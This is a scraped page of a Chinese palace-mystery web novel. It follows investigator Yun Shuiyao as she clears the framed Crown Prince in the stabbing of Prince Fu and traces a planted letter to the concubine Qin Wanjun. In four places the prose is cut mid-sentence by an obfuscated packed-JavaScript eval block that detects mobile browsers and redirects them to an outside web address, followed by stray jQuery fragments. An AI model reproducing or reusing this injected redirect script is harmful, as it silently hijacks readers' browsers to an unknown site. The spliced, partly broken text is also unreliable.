京城有个著名景点九曲桥,离自己家比较近,云水谣便决定去九曲桥。 她打着伞,跟柳依依和几个丫环一起出门。 来到九曲桥后,云水谣一边慢慢地走着,一边欣赏雨中湖景。 由于下雨,九曲桥这种热门景点少了很多游客,倒是挺幽静的。 一会再找个凉亭喝一壶热茶,必定十分惬意。 这时,云水谣发现前面有一个瘦削的绿衣女子,似乎有几分眼熟。 她快步走过去一看,见那绿衣女子竟是秦婉君。 秦婉君静静地看着湖面,但眼神却是放空的,似乎是在想很多事情。她的眼神中有几分哀伤,还有一些不明的情绪。 云水谣印象中的秦婉君,一直是自信从容的,还从未见她露出这般模样。 虽然云水谣觉得秦婉君有很多秘密,不算一个好人,但今天既然遇见了,也就大方地打个招呼。 “秦夫人,你也出来赏雨景?” 秦婉君这才看见云水谣,微微一笑:“是啊。妾身见过云大人。” “秦夫人不必多礼。” 云水谣觉得,秦婉君的笑里有几分苦涩。 “秦夫人可是遇到了什么为难的事?” “没有。我现在是福王的爱妾,要什么有什么,还会遇到什么为难的事?妾身先告退了。” 秦婉君朝云水谣行了个告别礼,然后就走了。 云水谣也没在意,继续赏景。 也许,秦婉君的生活并没有表面上那么光鲜。 高门大户的后宅不是那么好混的,更何况是王爷的后宅。 而且,秦婉君的身份不单单是姬妾这么简单,恐怕也要为福王做一些脏事,她比一般女子要承受的压力大得多。 —— 很快就到了春分这天,也是祭天仪式开始的日子。 一大早,太子就和福王一起出发,去了漱石山。礼部和太常寺的官员跟随。 云水谣在大理寺办公,刚吃了午饭,忽然有几个宦官过来,宣旨道:“大理寺卿云水谣听旨:福王遇刺重伤,命大理寺、刑部诸官员即刻进宫,共审此案,钦此。” 云水谣吓了一跳,问道:“这位公公,福王为何遇刺?现在情况如何?太子殿下呢?” “具体情况咱家也不清楚,皇上有命,不得耽搁,请云大人速速进宫。” “是。” 云水谣带了几个下属,匆匆进宫。 几个太监引着云水谣往中和殿而去。 到了中和殿,云水谣发现太子跪在地上,有些狼狈,身上也有一些伤口。 在他身后,跪着几个侍卫,看衣服像是金吾卫的。 旁边还放着几具尸体,有几个是黑衣人,有几个是死去的金吾卫。 看来,这次祭天,一定发生了什么非同寻常的事。 刚才太监们只说福王重伤,没说太子也受伤了。 而太子受伤却得不到医治,反而跪在这里,说明皇帝很有可能迁怒甚至怀疑他。 福王重伤,太子轻伤,乍一看很像是太子勾结刺客,意图杀死福王。谁知福王命大,逃出生天。 怪不得太子需要跪在此处。 云水谣跟太子对视了一眼,太子眼神沮丧,但看向云水谣时却多了一份坚定和信任,似乎在告诉云水谣,他相信云水谣的断案能力,一定能还他清白。 还有其他官员在场,云水谣不便跟太子深聊,便坐在了左边的座位上。 右边的座位上坐了几个刑部的官员,云水谣朝他们点点头,便算是打招呼了。 众官员神色凝重,心里都知道今天恐怕有大事,因此也无心寒暄,只等皇上到来。 皇帝和皇后是一起来的。皇后眼睛红红的,似乎刚哭过。 皇帝牵着她的手,给她心理安慰。 皇后看向跪着的太子,眼神中有几分恨意。 见到皇后也来了,众官员心里都是一惊。 自从蝮蛇帮一案后,欧阳家倒了,皇后被幽禁,管理六宫之权交给了德妃,离被废可以说只有一步之遥了。 没想到,先是福王凭借祥瑞复宠,接着是皇帝携手皇后一同出现。 有几个心思灵敏的官员,已经察觉到皇后和福王似乎要重新占上风了。 皇帝和皇后落座,皇后说道:“皇上,您一定要严惩太子,为福王报仇啊!” 太子皱了皱眉,随即恢复平静,朗声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148541|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“回父皇、皇后娘娘,福王遇刺一事,与儿臣无关。” 皇后疾言厉色:“怎会与你无关?本来福王不能参加祭天仪式,但皇上让他参加,你因此怀恨在心,所以收买了刺客和几个金吾卫,一起对福王下手,对不对?” “当时的情况并非如此,请父皇、皇后娘娘容禀。” “你……” 皇后还想说什么,皇帝制止道:“让他说。众官员也好好听着。太子,今天到底发生了什么?” 太子:“回父皇,今日儿臣和福王一起去漱石山祭天,走到山腰时,有一条窄路,只能容一人通行。因此,我们带的侍卫虽多,也只能一个一个走。当时儿臣走在福王前面。 谁知,旁边的树林中忽然出现几个黑衣刺客,朝福王出手。我帮着福王打斗,侍卫们虽然都想上前相助,但路途狭窄,腾挪不开,最终也只有几名侍卫能出手相助,其他侍卫隔得太远,只能在前面或是后面干着急。 还好那些黑衣刺客武功不是很高,我们尚能应付。在那些黑衣刺客落于下风时,我们刚松了一口气,谁知刚才还帮助我们打刺客的几名侍卫,忽然出手攻击福王。 仓皇之下,我只能拉着福王朝黑衣刺客的方向跑去,因为反方向是悬崖。那些黑衣刺客不是我们的对手,也许我们能闯出一条生路。 就这样,我们一路往树林深处跑去。那些黑衣刺客分别死在我和福王手中。 但那些攻击我们的金吾卫,武功高得出奇,我和福王不是对手。其他侍卫反应过来,也纷纷跑来相助。但就在其他侍卫快要找到我们的时候,我们突然踩中了一个机关,掉了下去。 底下是一条狭窄的山道,武功不太好施展。那几个金吾卫跳了下来,继续攻击我们。这时福王已经受伤较重了,躲在我身后。我也一个人苦苦支撑,跟那几个金吾卫打斗。我想,再坚持一下,打斗的声音传到地面上,其他侍卫一定能找到我们的。 谁知这时,福王却忽然攻击儿臣。还好他受伤之后呼吸重,出招慢,被儿臣躲过。我本以为是地道黑暗,他一时分不清敌友,谁知他一击不中,竟然又对我出手。 当时,儿臣的情况万分凶险,既要对付那几个金吾卫,又要放着福王下黑手。 好在这个情况没持续多久,地面上的侍卫们就找到了暗道的开关,前来协助。 其中有两名叛变的金吾卫已经被杀,另外还有三名被擒,跪在我身后的这三人就是。 之前的黑衣刺客一共八人,已经尽数被杀;加上死去的两个金吾卫,死者一共十人,留下活口三个,父皇和诸位大臣可以审问这三名活着的金吾卫。” 皇帝道:“照你这么说,刺杀福王的刺客并非你安排的,你反而在保护福王?” “正是。” 皇帝“哼”了一声,道:“可是据福王所言,你们逃进树林后,你便开始主动攻击他。” “冤枉啊父皇,儿臣并没有这么做!是儿臣在保护他的时候,他突然攻击儿臣……” “荒谬!” 皇后也说道:“皇上,太子竟如此颠倒黑白,实在可恶至极。” 187.审问 刑部尚书曹定风说道:“皇上,皇后娘娘,既然太子和福王殿下各执一词,必然有人在撒谎。但是何人撒谎,还需详加调查,现在不能断言。” 皇后厉声道:“现在福王重伤濒死,太子只不过受了轻伤,孰是孰非还看不出来吗?” “据太子殿下方才所言,那些刺客确实是冲着福王而来,无意伤害太子,所以太子受伤不重,也在情理之中。太子若是对福王弃之不顾,只怕福王会伤得更重。而太子身上的伤,很有可能是因为保护福王,跟刺客们打斗而造成的。 他若当时立刻逃走,只怕就不会受伤了。” 皇后:“刑部尚书,你口口声声为太子说话,莫非是私下投靠了太子,只忠于太子一人?皇上春秋正盛,你就怀有二心,其心可诛!” 刑部尚书赶紧下跪道:“臣并无二心,只是根据往日断案的经验,说出自己的看法而已。” 皇帝有些疲惫地摆摆手:“起来吧。今日刑部和大理寺的主要官员都在,你们先审问,朕听着。” “是。” 刑部尚书看向云水谣,似乎在询问由哪个部门先开始问。 云水谣对他做了个手势,示意让刑部先问。 一方面是因为刑部尚书掌管刑狱二十余年,经验更为老道;二来云水谣也怕由自己先问的话,自己会表现得过于担心太子,而让旁人起疑心。 现在她只能装出一副淡然的样子,让别人相信她并不在意太子的处境和结局。 刑部尚书问太子:“太子殿下,方才您已经讲清楚事情的经过,现在臣要求证您所说的是否真实。一句一句来。您方才说,走到半山腰的时候,忽然蹿出几个刺客,对福王出手。您跟福王一起战斗,一直在保护福王,是不是?” 太子:“是。” “当时可有其他人看见这一幕?” “有。这些黑衣刺客出来的时候,我和福王、众官员、侍卫等都在山道上,应该有很多官员和侍卫见到我在保护福王。” 刑部尚书对皇帝行礼:“皇上,请允许臣把今日陪同祭天的官员和侍卫们叫来,向他们求证。” 皇帝点头:“准。” 相关的官员、侍卫都候在门外,随时等待传唤,所以刑部尚书刚说完,就有许多人进来了。 进来的有十几个官员、十几个侍卫,他们都说,当时黑衣刺客出现,福王在保护太子。只是他们跟太子、福王隔得较远,没法参战,否则容易掉下悬崖。所以,只有太子和福王身边的几个侍卫能帮忙打斗。 刑部尚书道:“这些人证所言,跟太子言论一致,说明在这件事上,太子并未撒谎。” 皇后道:“在众目睽睽之下,他当然会做出一副保护福王的样子。但是他们跑进树林里后,其他侍卫们还在后面,看不真切,太子就开始攻击福王了。” 刑部尚书问道:“这一幕,皇后娘娘是亲眼见到的吗?” 皇后恼羞成怒:“你……曹尚书,你什么意思?这都是福王所言,难道福王还会骗我这个母亲不成?” “这可不一定,每个人都有可能说谎,凡事还是要讲证据。” “大胆!你竟敢诽谤福王!” “臣只是就事论事。” 皇帝安抚皇后道:“好了,皇后,听曹尚书继续审问下去。” 皇后这才不说话了。 曹尚书继续询问太子:“当时您和福王正专心对付那些黑衣刺客,可是没想到,你们身边的几个金吾卫突然开始攻击你们,是不是这样?” 太子:“对,那几个金吾卫本来是帮我们打刺客的,我们察觉到几个刺客的武功并不算高,胜算很大,因此有些放松警惕。正在这时,那几个金吾卫忽然倒戈,开始攻击我和福王,情势急转直下。 因此,我只能带着福王往树林深处跑。” 曹尚书:“这一幕,可有人看见?” 前来作证的官员和侍卫均道:“当时的情况确实如太子殿下所言。那几个金吾卫都是卫队中的老人了,武功、智谋、忠诚都没问题,所以才被安排近身保护太子和福王。谁知他们会忽然反水。” 曹尚书道:“来人,叫金吾卫大将军明益恒过来。” 金吾卫中出了叛徒,大将军明益恒早就候在外面,等候宣召。 他听见声音,就走进大殿。 云水谣见过明将军两次,知道他为人坦荡,不过此刻她们也只是对视一眼,不便叙旧。 曹尚书对明将军道:“明将军,那几个攻击太子和福王的士兵,是不是你安排的?” 明将军:“我比较信任那几个侍卫,才让他们近身保护太子和福王。至于他们竟会攻击两位殿下,我实在预料不到。” 说着,明将军就朝皇帝跪下请罪。 皇帝问道:“按理说,金吾卫中的所有人,都应该做过背景调查,确定没问题才能加入。在调查这几名金吾卫背景的时候,你是否有所松懈?” 明将军:“回皇上,臣并未松懈,对于每一个加入金吾卫的士兵,臣和下属们都会经过严格审查。这几名反叛的金吾卫,从身份背景上来说没有问题,只能说他们善于伪装,捏造了一个天衣无缝的假身份。” “既然如此,你自己问问他们吧。” “是。” 攻击太子和福王的金吾卫,一共有五名。其中两名已死,剩下的三名分别叫万迎松、金昌、秦朝阳。他们都跪在太子身后,被五花大绑,刚才一直没说话。 明将军盯着他们三人,问道:“你们老实交代吧,你们究竟是何身份?潜伏进金吾卫做什么?谁指使你们攻击福王和太子的?当着皇上和众位大人的面,若有丝毫隐瞒,一定会死无葬身之地。” 金吾卫万迎松道:“我们……我们是瀚海国人,许多年前就潜伏进大夏,设法弄了个假身份,加入了金吾卫。我们听命于瀚海国宰相乌斯齐,他有任务交给我们时,我们就照做;他没任务时,我们就跟普通士兵无异。” 金吾卫金昌道:“大约半个月前,乌宰相传信来,说让我们几个协助大夏太子,在祭天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153153|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪式这天除掉福王。因此,我们事先跟太子制定了周密的计划,先让几个黑衣杀手来刺杀福王,我们几个假装帮忙攻击,趁福王不备,我们也一起攻击福王。 谁知,还是被福王逃出生天了。” 太子皱眉道:“你胡说,我跟你们瀚海国宰相素无来往,更没有跟你们串通,要杀福王。你们这样说,可有证据?” 金吾卫万迎松惊讶地看着太子:“太子殿下,您怎么能过河拆桥?我们潜伏在金吾卫中,还成为明将军信任的士兵,付出了很多努力。现在为了您的计划,我们几个人死了两个,剩下三个也绝无生理。我们死不足惜,但您翻脸不认人,就过分了。” 太子冷冷地看着他:“演,接着演。” 皇帝怒道:“放肆!太子,事到如今,你还不承认?” 太子对皇帝行了一礼,不慌不忙道:“父皇,您怎么能听信这几个侍卫的一面之词?他们想要诬陷我,也得拿出证据吧?” 金吾卫秦朝阳道:“要证据还不容易?现在去搜查太子府邸,总能找到太子和我们乌宰相暗中来往的证据。” 皇帝看向云水谣:“大理寺卿。” 云水谣赶紧起身:“臣在。” “你率领一队侍卫,去搜查太子府邸,看看有没有可疑的物件。” “是。” 云水谣心里七上八下的,只能带士兵们前往太子府搜查。 众目睽睽之下,云水谣也没法明着帮太子,更何况她相信太子是清白的,因此便叫士兵们好好搜,别放过任何可疑的东西。 过了一会,一个士兵拿着一封书信出来,对云水谣道:“大人,这封书信有点奇怪。” 云水谣打开信一看,上面只写了几个字:“事情已办妥,可与秦、万、金等侍卫商议,大患必除。” 这封信没头没尾,既没有标题、落款,也没说写给谁,更没说要办什么事。 乍一看,信中的内容好像是在提示太子,说太子想做的事已经布置完毕,可以与秦、万、金等侍卫商议对策,一定能除掉福王。 而秦、万、金自然就是秦朝阳、万迎松、金昌等人。 那么,这封信对太子很不利,但云水谣又不能不呈上去。 其实,光凭这一封信,也说明不了什么,很有可能是别人故意放进太子书房,栽赃陷害。 所以,尽管信中内容对太子不利,云水谣还是有辩驳的余地。 云水谣接着问士兵们:“你们可曾发现其他可疑之处?” 士兵们:“没有了。” 云水谣正准备离开,康王跑了过来,问道:“云大人,你找到了什么?” 云水谣把信收了起来,回答道:“事涉案情,恕下官不能现在告知殿下。” 康王道:“我知道,你们都想让太子获罪。” “殿下此言,下官等承受不起。若太子无罪,自有重见天日之时。若太子遭人陷害,也必定会真相大白。” “你真的不会帮着福王一起构陷太子?” 188.伤口 云水谣哭笑不得。这康王果真是小孩子,竟会说出这样的话。 哪怕面对一个真的对太子有敌意的官员,明面上也不能这样说话。 当然,康王为人天真,年纪较小,自然百无禁忌。 云水谣道:“康王殿下放心,下官会查明真相的。” “真相就是福王一手设计,用苦肉计诬陷太子皇兄。” “康王殿下,凡事要讲证据。若真相果然如此,也得在找到证据的时候再说,臣先告退了。” 云水谣回到皇宫,把信件呈上。 皇帝看了信后,有些恼怒,隐忍未发。 接着,他对身边的太监说道:“把乌斯齐以前写的信件拿出来比对一下。” 太监道:“是。” 乌斯齐是瀚海国宰相,有时候会代表瀚海国给大夏来信,所以皇帝手中有乌斯齐的亲笔信。 他对乌斯齐的笔迹有印象,跟太子府的这份书信相似。 然而,他也不能十分确定,所以叫太监拿乌斯齐的亲笔信比对一下。 很快,太监就拿来了几封乌斯齐的信,皇帝比对之下,勃然大怒,把信件扔到太子面前,道:“现在你还有什么好抵赖的!” 太子不明所以,问道:“父皇,这是怎么回事啊?” “大理寺卿,信是你搜出来的,你来解释吧!” 皇帝往地上丢了好几封信,云水谣拿出其中一封,对太子说道:“太子殿下,这封信就是从您的书房搜出来的。这封信没头没尾,也没说是谁写来的,也没说是写给谁的。但字里行间,好像都跟今日的刺杀案有关。 方才皇上比对了这封信和乌斯齐的其他信件,发现笔迹一致,所以这封信也是乌斯齐所写。” 太子茫然道:“儿臣什么也不知道,请父皇明鉴……父皇,仅凭一封信,就能定儿臣的罪吗?这封信也许是别人放进儿臣的书房的。” “堂堂太子府,有谁能随意进出?” “金吾卫是天子近卫,铁桶一块,不也被安插了细作吗?” “岂有此理,你还敢顶嘴!来人,将太子和几名反叛的金吾卫打入天牢!” 刑部尚书道:“皇上,此事还有诸多疑点,请皇上三思啊!” 皇帝道:“先把太子押下去再说!” 太子被押了下去。 云水谣说道:“皇上,若是太子殿下真的跟瀚海国宰相有所勾结,为何不烧掉这封书信,反而要把书信放在书房里,等着别人去发现呢?” “也许是他自信没人会发现。” “这毕竟是通敌的大罪,想来太子殿下不至于如此不仔细。皇上,还请允准刑部和大理寺继续调查此案。” “可以,再给你们三日时间。三日后再查不出什么,就废太子,立福王。” 云水谣骤然一惊:“是。” 皇后嘴角露出一抹志在必得的微笑。 云水谣继续对皇帝说道:“皇上,还请允许微臣探望福王,问他几句话。” “可以。” 皇后道:“云大人,你要问话,可得快着点。福王伤势沉重,需要多多休息,受不得惊吓。” “是,下官明白。” 皇帝、皇后携手离去。 云水谣跟刑部尚书商议道:“时间紧迫,我们需分头行动。目前案件有以下疑点:第一,那封书信到底是不是乌斯齐写给太子殿下的?第二,太子和福王在树林里的时候,到底是谁攻击谁?第三,那几名反派的金吾卫,到底是不是瀚海国人?目前关于那几名金吾卫的身份,是他们自己说出来的,同时有那封语焉不详的书信佐证,但还需进一步调查。” 刑部尚书道:“那封书信的事,就由大理寺调查。至于太子和福王究竟是谁攻击谁,没有明确的目击证人,恐怕很难下定论。关于那几名金吾卫和黑衣刺客的事,就由我们刑部调查吧。” “好,有劳曹尚书了。” 云水谣先去见了福王。 福王由于重伤,现在在皇后宫中休养。 皇后不太希望福王受到盘问,但云水谣是请了皇帝的旨意来的,皇后也没法阻拦,只是淡淡道:“云大人若要问话,也需谨守君臣本分,不可对福王不敬。” 云水谣:“是,下官明白了。” 云水谣走进了福王的房间,闻到一股浓重的血腥气。看来,福王伤得不轻。 好几个太医在这儿,还有一大群宫女守着。 福王自己有一堆妾室,也都在这里照顾他。 所以这个房间虽大,看起来却很拥挤。 秦婉君显然是最得宠的妾室,只有她能坐在床边,其他侍妾都只能站着,听秦婉君的吩咐。 众人见了云水谣,纷纷行礼。 云水谣见福王清醒着,也向福王行礼。 福王抬了抬手,示意云水谣免礼。 福王的长相跟太子有几分相似,但他更加阴鸷,一双三角眼,显得心思深沉。 云水谣开门见山:“福王殿下,下官此来,一为探病,二来也想了解一下当时的情况。” 福王道:“本王已经说过,是太子联合那些刺客,意图行刺本王。” “可是一开始,太子确实在保护您,许多官员和侍卫都可以作证。” “那是他表演给别人看的。后来他把我拉进树林里,就开始跟刺客们一起攻击我了。” “可是据太子殿下所言,是您在偷袭他。” 福王暴怒:“他说的话岂能相信?” “请殿下不要生气,臣只是例行询问。您说太子偷袭您,可有什么证据?” “还有几个活着的金吾卫,可以作证。” “那几个金吾卫本身就是瀚海国的细作,他们的话不能尽信。” “那你还要本王怎么样?你一个小小的大理寺卿,竟敢质疑本王的话?” 云水谣赶紧跪下道:“请殿下息怒。” 秦婉君见福王动怒,便替他顺气,劝道:“王爷,云大人也只是为了断案的严谨,才多问几句。您现在重伤,需要好好疗养,万不可动怒。” 听了秦婉君的话,福王平静下来,对云水谣摆摆手道:“你走吧。” 云水谣却没走,反而说道:“殿下,您身上的伤口可以给微臣看一下吗?” 福王怒道:“放肆!你在说什么?” “臣只是想查看一下您的伤口,看看伤到什么程度。您伤口的深浅、多少,都关系到如何给太子定罪。如若伤口很深且很多,那太子自然是要从重治罪的,说不定要处死。” 听了云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156740|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水谣的话,福王不再生气,反而若有所思。 接着,他说道:“男女有别,云大人不适合查看本王的伤口。” “臣虽是女子,但为了查案,不必考虑男女之别。臣只看您上身的伤口便可,请殿下行个方便。” 这时,有另一个侍妾说道:“但是福王殿下的伤口刚刚包扎好,如果把绷带解开,伤势又会加重。” 云水谣询问太医:“太医,把福王的绷带解开要紧吗?” 太医答道:“王爷身上伤口虽多,但并未伤及脏腑,大部分是皮外伤。解开绷带可能会造成流血过多,身体更加虚弱,但福王已经服下保命的药丸,没有生命危险。” 云水谣道:“既然如此,臣斗胆请求查看福王殿下的伤势。” 福王点头道:“可以。婉君,你来解开本王身上的绷带。” 秦婉君道:“是。” 秦婉君小心翼翼地把福王上半身的绷带都解开。 只见他上半身伤痕遍布,约有三十多处伤,看着触目惊心。 云水谣看了两眼,便低头道:“多谢殿下配合。殿下伤势果然很重,臣将来对太子的量刑上,一定会从重处理。臣告退。” 听了云水谣的话,福王的嘴角微微扬起。 云水谣走出皇后宫中,却没有离去,而是躲在一棵树后。 她想等太医出来,问一件事。 过了一会,有个太医出来了,大概是要去熬药。 云水谣拦住他,问道:“太医,本官有一事想问。” 太医:“云大人请说。” “请问福王腿上的伤口,是不是也跟上身相似?刚才碍于男女大防,本官不便查看福王的腿。” “是的,福王殿下的腿上也有好多伤。” “那伤口的痕迹,跟上身一致吗?” “都差不多吧,是一些细长的伤口。” “好,多谢您了。” 云水谣来到太子府,询问太子的侍卫:“太子今日带的兵器是什么样的?拿来本官看看。” 侍卫拿出一把剑,递给云水谣:“大人,太子今日出门,带的就是这把剑。” 云水谣拔出剑,仔细看了看。这把剑上有很多血,有的地方还卷刃、崩开了,显然太子经过了一场激战。 云水谣问道:“太子今日就带了这一把剑吗?” “是的。” “好。这把剑本官先带走了。” “大人请便。” 云水谣把剑交给随从,让随从拿着。 柳依依跟在云水谣旁边,见状问道:“大人,您为何要来拿太子殿下的兵器?” “因为——” 云水谣正准备解释,但又觉得这里不是说话处,便带着柳依依来到太子府外的一个小巷,说道:“刚才我去见福王,查看了他身上的伤口。他的伤口全是细长的,受伤处很窄,说明伤他的武器应该是一种细长的刀或剑。 那些刺客使用的就是细剑,符合福王的伤口特征。但是太子的剑,中间较粗,呈圆柱形,两边的刀口较细。如果被太子的剑所刺中,伤口应该是里面窄,但表面裂口处会比较大,表皮外翻才是。 但福王的伤口显然不符合这一特征。所以,福王身上的伤口没有一处是太子造成的。” 189.失去 柳依依道:“所以,可以凭借这一点,证明太子殿下是清白的?” 云水谣摇头:“不,还不够。必须得证明乌斯齐的那封书信是别人放在太子书房中的。” “嗯。” 云水谣知道自己能听懂动物说话,打算利用这一技能,搜集线索。 太子府中动物很多,有家养的,也有外面飞来的。 云水谣心想,只要自己在太子府中多逗留几日,多找几只动物,总能得知一些线索的。 正好自己奉命查案,待在太子府中也名正言顺。 于是,她先去了太子府的书房,四下查看。 书房外面有两只仙鹤,云水谣决定听仙鹤说话。 可是,听了半天,云水谣只听见仙鹤“咯——咯——”的叫声,听不见它们说话。 云水谣觉得很奇怪,听了许久,但始终没听见。 书房旁边有一片花园,花园里有许多蜜蜂、蝴蝶。 云水谣又走到花园里,试图听蜜蜂和蝴蝶的说话声。 可是,她仍旧只能听见这些动物原本的声音。 她离开了太子府,叫来暗卫乙木,让他召唤不同的动物过来。 乙木能模仿不同动物的声音,那些动物听见后,会以为此处有同类,就会过来。 一会功夫,乙木就吸引了几只小狗、小鸟、小猫过来。 可是,云水谣没法听见任何一只动物说人话。 云水谣逐渐有了一个可怕的猜测:莫非自己已经丧失了听动物说话的能力? 那以后该怎么办? 她之前就是依靠这种能力,获得了一些隐秘的线索。 可是现在,她手头的案子比以往任何一个案子都要大,她的特殊能力却消失了…… 如果她破不了案,太子含冤受屈,她自己的仕途只怕也走到头了…… 云水谣的心情跌落谷底。 乙木问道:“大人,怎么了?” “没什么,你先走吧,我要一个人静静。” “是。” 云水谣走到一间茶楼,点了自己爱喝的普洱茶,一边喝,一边思考自己的未来。 难道,要就此放弃仕途吗? 可是,自己好不容易才走到今天这一步。 那么,请求皇上让自己去做别的官,跟断案无关的那种? 可是,一来皇上未必同意,二来自己不当大理寺卿的话,就没法替太子洗刷冤屈了。 但,现在的自己,真的还有替人洗冤的能力吗? 云水谣一杯接一杯地喝,只觉得这茶越喝越苦。 她想喝酒,但她不胜酒力,怕喝醉了出什么事。 这时,有人走了过来,静静地看着她。 云水谣抬头一看,竟是元景佑来了。 云水谣以为自己眼花了,问道:“景佑,你……你怎么来了?” 元景佑道:“我被调到兵部任职,所以回了京城。路过这间茶楼,发现大人在二楼坐着,就走上来看看。” 见到元景佑,云水谣心中自是欢喜。 但现在她思虑重重,把这份欢喜冲淡了很多。 她给元景佑拿了一个茶杯,淡淡说道:“坐吧,陪我喝一杯。” 元景佑坐了下来,问道:“大人可是遇到了什么烦难之事?” “不知道……也许是吧。” 云水谣自然不能直说,因为说出来只怕没人会相信。 她不想让元景佑觉得自己精神不正常。 有几只鸟停在外面的杨树上,吱吱喳喳地叫着,声音很悦耳。 但云水谣无心欣赏,她只想听清这几只鸟在说什么。 往常习以为常的能力,现在一朝失去,她如在梦中,难以接受这个落差。 元景佑忽然道:“大人,您是不是听不到动物说话了?” 云水谣十分震惊:“你……你说什么?” “其实,以前我通过观察,猜想大人可能可以听见动物说话,但一直没有向大人求证过,怕太唐突了。刚才见您神思不属,又盯着几只小鸟出神,神情哀伤,便猜测您听不懂动物说话了。” “原来……原来你都知道……” “这么说,我的猜测是真的了?” “没错,我以前能听,但今天忽然不能听了……我不知道该怎么办……” “大人,以前你断案主要也是靠自己,只是偶尔会从动物的话中得到一两样线索而已。您难道不再信任自己的智慧了吗?” “我……没有了听动物说话的能力,我没法破案了……” “大人,您仔细回忆一下以前破案的过程,大部分线索是您自己调查出来的,还是动物告诉您的?” 云水谣想了想,每一个案子,她确实运用自己的推理能力、侦查能力比较多,只是偶尔才从动物那里得知一二线索而已。 这么说,她还有希望? 她忘了她能走到今天,其实主要靠的是自己。 现在没了特殊的能力,反而更能依靠自身的智慧。 为什么不试试呢? 难道仅凭自己就断不了案吗? 云水谣忽然想通了,她对元景佑说道:“景佑,谢谢你的提醒,我明白了……我现在还有事,改日再来找你。” “嗯。” 云水谣重新回到太子府。 她决定用正常的方式审问出那封信是谁放进书房的。 于是,她召集了太子府所有下人,问道:“平日里能在太子书房伺候的是哪些人?” 有十来个下人走了出来,回话道:“小人们都是经常在书房伺候的。” “你们当中可有人把瀚海国宰相乌斯齐的书信放入太子房中,诬陷太子?如果从实交代,本官可以网开一面,赦免他的家人。如果不交代,被本官查出来的话,全家都要死,而且他本人还会被凌迟处死,非常痛苦。” 这十来个下人都哆哆嗦嗦地回答道:“大人,我们没有做这样的事。”“是啊,我们都是忠于太子殿下的,请大人明察。”“大人,我不想死啊,我真的没有把什么信件放到书房里。” 云水谣又对全体下人说道:“那么,有谁能提供有关这封信件的线索,本官重重有赏。不仅可以销去他的奴籍,还会赠送他一笔银子。近一个月来,有谁曾经鬼鬼祟祟地出入过太子的书房吗?” 云水谣提出的奖赏,让很多下人都十分心动。赏钱还是小事,销去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160954|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴籍的诱.惑太大了。谁愿意一辈子当奴才,并且让子孙后代都当奴才呢? 因此,他们都绞尽脑汁地想着。 这时,一个中年奴仆道:“大人,我想起来了。半个月前的一个夜晚,丫环双鹊曾经从太子书房的方向出来。当时小人起来出恭,只是偶然看到,并未引起注意,也并未上前查问。 双鹊是负责厨房的,本来不该去太子书房。她的房间在太子府的角落,而且房间附近就有茅房。无论怎么走,她都不应该走到太子书房去的,而且当时已经是二更天了,正是所有人都在睡觉的时候。” 丫环双鹊说道:“你说谎,我并未去过太子书房!” 云水谣对几个士兵说道:“你们去搜查一下双鹊的房间。” “是。” 过了一会,几个士兵回来,拿着一些银票、珠宝、银子等物,说道:“大人,这就是从双鹊的房间搜到的。” 云水谣问双鹊:“你来太子府多久了?” “四年。” “你的月银是多少?” “一个月一两银子。” “那你房间的钱财加起来有上千两了吧?这些钱是哪里来的?” “我……我偷来的。我承认偷东西不对,请大人饶过我吧。” “偷来的?你从何处偷来?” “从……从太子府的库房里。” 这时,一个五大三粗的嬷嬷站了出来,道:“冤枉啊!奴婢是管理太子府库房的,双鹊的这些东西,都不是库房里的物件。” 云水谣厉声问双鹊:“你还在撒谎?是不是想受刑?有一种刑罚,是割掉鼻子;还有一种刑罚,是割掉耳朵。类似的刑罚还有数十种,你想体验哪一种?” 双鹊赶紧跪下道:“是奴婢撒谎了……求大人不要割掉奴婢的鼻子和耳朵……这些财物都是秦娘子送的……” “秦娘子?哪个秦娘子?” “是福王的侍妾秦婉君,她让她的丫环送我财物,让我把一封诬陷太子的书信放进太子的书房……” 云水谣心中一凛:“秦婉君?你所言属实吗?如果敢胡乱攀咬福王府上的人,下场会比落在本官手里凄惨百倍。” 